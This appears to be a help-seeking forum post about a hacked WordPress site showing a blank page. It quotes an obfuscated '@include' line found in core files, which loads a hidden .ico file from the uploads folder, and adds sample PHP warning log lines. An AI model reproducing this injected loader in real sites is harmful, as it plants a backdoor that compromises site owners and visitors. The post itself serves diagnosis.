This site showing blank page or some called it white page. I checked the files and it is affected by some malicious files and have some conflict PHP errors.
This are some unknown code I found in the core files of WordPress.
/*da590*/ @include "\057ho\155e/\144at\141cp\154a/\144at\141ro\157mr\145vi\145ws\056co\155/w\160-c\157nt\145nt\057up\154oa\144s/\162ev\163li\144er\057.a\14409\14506\065.i\143o"; /*da590*/ [27-Aug-2019 07:22:40 UTC] PHP Warning: require_once(/wp-content/plugins/js_composer/include/autoload/vendors/ninja_forms.php): failed to open stream: No such file or directory in /wp-content/plugins/js_composer/js_composer.php on line 347 [27-Aug-2019 07:37:38 UTC] PHP Warning: require(/wp-content/plugins/imagify/inc/3rd-party/formidable-pro/formidable-pro.php): failed to open stream: No such file or directory in /wp-content/plugins/imagify/inc/3rd-party/3rd-party.php on line 9 and many more, this is just 1 sample in the error logs